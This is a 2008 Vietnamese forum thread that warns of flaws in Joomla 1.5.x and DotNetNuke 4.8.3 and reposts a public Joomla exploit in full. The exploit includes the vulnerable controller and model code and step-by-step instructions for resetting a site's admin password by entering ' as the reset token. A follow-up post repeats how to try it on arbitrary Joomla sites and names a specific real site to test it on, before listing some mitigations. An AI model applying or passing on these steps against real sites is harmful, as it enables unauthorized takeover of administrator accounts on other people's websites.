Diễn đàn Trái Tim Yên Bái 2024

 Quên mật khẩu
 Đăng ký
Xem: 3813|Trả lời: 1
Thu gọn cột thông tin

Lỗi nguy hiểm của Joomla 1.5x và Dotnetnuke 4.8.3

[Lấy địa chỉ]
  • Tâm trạng hàng ngày
    Suy ngẫm
    22-4-2024 05:18 PM
  • Đã viết: 4 ngày

    [LV.2]Spam 2

    Đăng lúc 13-8-2008 11:56 AM | Xem tất |Chế độ đọc

    Mời bạn đăng ký để giao lưu kết bạn nhé <3

    Bạn phải đăng nhập để xem được nội dung, nếu bạn chưa có tài khoản? hãy Đăng ký

    x
    Hiện nay trên Joomla 1.5x và Dotnetnuke 4.8.3 xuất hiện lỗi nghiêm trọng đề nghị người dùng 2 sãn phẩm này cần chú ý là theo kịp thời update lên phiên bản mới! đây là 2 mã nguồn thông dụng ảnh hưởng lớn đến nhiều website Việt Nam!http://milw0rm.com/exploits/6234
    http://www.dotnetnuke.com/News/S ... d/1162/Default.aspx


    Tạm thời tự check xem và close nếu thấy cần để chờ ra bản fix lỗi

    Còn cách hack JL nói chơi thôi...đừng phá.
    1. #####################################################################################
    2. ####                     Joomla 1.5.x Remote Admin Password Change               ####
    3. #####################################################################################
    4. #                                                                                   #
    5. # Author: d3m0n (d3m0n@o2.pl)                                                       #
    6. # Greets: GregStar, gorion, d3d!k                                                   #
    7. #                                                                                   #
    8. # Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff    #
    9. #                                                                                   #
    10. #####################################################################################
    11. File : /components/com_user/controller.php
    12. #####################################################################################
    13. Line : 379-399
    14.         function confirmreset()
    15.         {
    16.                 // Check for request forgeries
    17.                 JRequest::checkToken() or die( 'Invalid Token' );
    18.                 // Get the input
    19.                 $token = JRequest::getVar('token', null, 'post', 'alnum');              < --- {1}
    20.                   
    21.                 // Get the model
    22.                 $model = &$this->getModel('Reset');
    23.                 // Verify the token
    24.                 if ($model->confirmReset($token) === false)   < --- {2}
    25.                 {
    26.                         $message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
    27.                         $this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
    28.                         return false;
    29.                 }
    30.                 $this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
    31.         }
    32.        
    33. #####################################################################################
    34.        
    35. File : /components/com_user/models/reset.php
    36. Line: 111-130        
    37.        
    38.        
    39.        
    40.         function confirmReset($token)
    41.         {
    42.                 global $mainframe;
    43.                 $db        = &JFactory::getDBO();
    44.                 $db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));  < ---- {3}
    45.                 // Verify the token
    46.                 if (!($id = $db->loadResult()))
    47.                 {
    48.                         $this->setError(JText::_('INVALID_TOKEN'));
    49.                         return false;
    50.                 }
    51.                 // Push the token and user id into the session
    52.                 $mainframe->setUserState($this->_namespace.'token',        $token);
    53.                 $mainframe->setUserState($this->_namespace.'id',        $id);
    54.                 return true;
    55.         }
    56. #####################################################################################
    57. {1} - Replace ' with empty char
    58. {3} - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "
    59. Example :
    60. 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm
    61. 2. Write into field "token" char ' and Click OK.
    62. 3. Write new password for admin
    63. 4. Go to url : target.com/administrator/
    64. 5. Login admin with new password
    65. # milw0rm.com [2008-08-12]
    Sao chép mã
  • Tâm trạng hàng ngày
    Suy ngẫm
    22-4-2024 05:18 PM
  • Đã viết: 4 ngày

    [LV.2]Spam 2

     Tác giả| Đăng lúc 13-8-2008 12:45 PM | Xem tất
    Cách test thử:
    tìm 1trang JL bất kỳ 1.5
    thêm dòng này vào thay cho index.php
    index.php?option=com_user&view=reset&layout=confirm

    Nếu hiện ra ô Confirm your Account và hỏi điền email forgot pass thì điền dấu ' vào
    Ấn Surmit Nếu hiện ra ô New Pass Word thì gõ pass mới là change đc pass admin

    Thử ku này xem
    http://vinaora.com/joomla/
    Nhưng mà đã đặt pass cho thư mục admin nên chỉ riset đc pass trêu thôi
    Cách chống: Move thư mục admin ra ngoài hoặc đặt pass cho thư mục /administrator
    Tắt module thành viên đăng nhập và đăng ký
    Chờ bản vá lỗi
    Bạn phải đăng nhập mới được đăng bài Đăng nhập | Đăng ký

    Quy tắc điểm

    Đóng

    Thông báoTrước /1 Sau

    Phòng tối|Lưu trữ|Diễn đàn Yên Bái 2024 Community Guidelines |

    GMT+7, 15-10-2026 07:26 PM , Processed in 0.021420 second(s), 18 queries .

    Powered by Discuz! X3.4

    © 2001-2013 Comsenz Inc.

    Trả lời nhanh Lên trên Trở lại danh sách